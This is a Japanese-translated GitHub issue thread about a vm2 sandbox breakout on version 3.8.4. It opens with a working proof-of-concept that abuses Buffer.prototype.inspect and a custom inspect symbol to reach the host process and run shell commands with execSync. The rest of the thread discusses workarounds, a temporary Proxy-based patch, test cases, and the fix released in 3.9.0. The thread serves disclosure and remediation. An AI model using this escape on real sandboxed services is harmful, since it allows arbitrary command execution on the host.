Vm2: 検査によるブレイクアウト

作成日 2020年03月01日  ·  11コメント  ·  ソース: patriksimek/vm2

次のコードを使用して、vmをエスケープし、たとえばシェルでコマンドを実行できます。
ここの#187ますが、ノード13.6.0とvm2v3.8.4で引き続き機能します。

const {VM} = require('vm2');
const vm = new VM({
    wasm: false,
    timeout: 2000,
    sandbox: {},
    eval: false,
});

const malicious = '(' + function(){
    try { require('child_process').execSync("idea") } catch(e){}  // Not getting executed

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
    }
}+')()';
vm.run(malicious)
bug confirmed

最も参考になるコメント

@ mxschmitt3.9.0としてリリースされました。 遅れてすみません。

全てのコメント11件

@patriksimekこの問題はマスターで修正されていますが、修正はバージョン3.8.4以降のhttps://github.com/patriksimek/vm2/pull/242に付属してい

これは、v3.8.5がリリースされるまで開いたままになります。

ETAはありますか?

@ jan-osch @patriksimekはかなり非アクティブに見えるので、

@XmiliaHあなたの答えとすべての貢献に感謝します!

このようなモンキーパッチの回避策は、更新バージョンが公開されるまでブレイクアウトを防ぐと思いますか?

const vm = new NodeVM({
  console: 'off',
  sandbox: {
    console: consoleInterface,
    setTimeout,
    print,

    // TODO remove once vm2 fixed the breakout issue
    // Reference: https://github.com/patriksimek/vm2/issues/268
    Buffer: {
      ...Buffer,
      prototype: new Proxy(Buffer.prototype, {
        get(object, property) {
          if (property === 'inspect') {
            return () => {
              console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
              consoleInterface.error('Nice try! This breakout attempt will be reported');
            };
          }
          return object[property];
        },
      }),
    },
  },
  require: { // here define modules that can be required
    builtin: [
      // some list
    ],
    external: [
      //...
    ],
  },
});

return vm.run(code, SCRIPT_PATH);

@ jan-oschそれは良い魂ではありません:
1)[Symbol.for( "nodejs.util.inspect.custom")]キーを忘れています。
2)ホストバッファのプロトタイプへの書き込みが可能になります。
3)問題は、console.logもこの問題を引き起こし、ソリューションがそれに対して何もしないことです。

残念ながら、簡単な解決策はありません。

これは、テストが不十分な一時的なハッキー修正です。

function hacky_fix(vm) {
    const internal = vm._internal;
    const old = internal.Decontextify.object;
    const handler = {__proto__: null};
    internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
        const value = old(object, traps, deepTraps, flags, mock);
        const better = new Proxy(value, handler);
        internal.Decontextify.proxies.set(object, better);
        internal.Contextify.proxies.set(better, object);
        return better;
    };
}

内部機能にパッチを適用するため、注意して使用してください。

ありがとう@XmiliaH! このようなブレイクアウトケースのテストスイートを備えたプロジェクトを知っていますか? 早期警告システムとして、CIにいくつかのブレークアウトテストを追加したいと思います

test /vm.jsにいくつかのテストケースがあります。 攻撃を検索するだけで、ケースが見つかります。

フレンドリーなリマインダー@patriksimekは、新しいバージョンをリリースできれば素晴らしいと思います。

@ mxschmitt3.9.0としてリリースされました。 遅れてすみません。

このページは役に立ちましたか?
0 / 5 - 0 評価

関連する問題

patriksimek picture patriksimek  ·  15コメント

XmiliaH picture XmiliaH  ·  19コメント

patriksimek picture patriksimek  ·  5コメント

wintertime-inc picture wintertime-inc  ·  5コメント

ghost picture ghost  ·  23コメント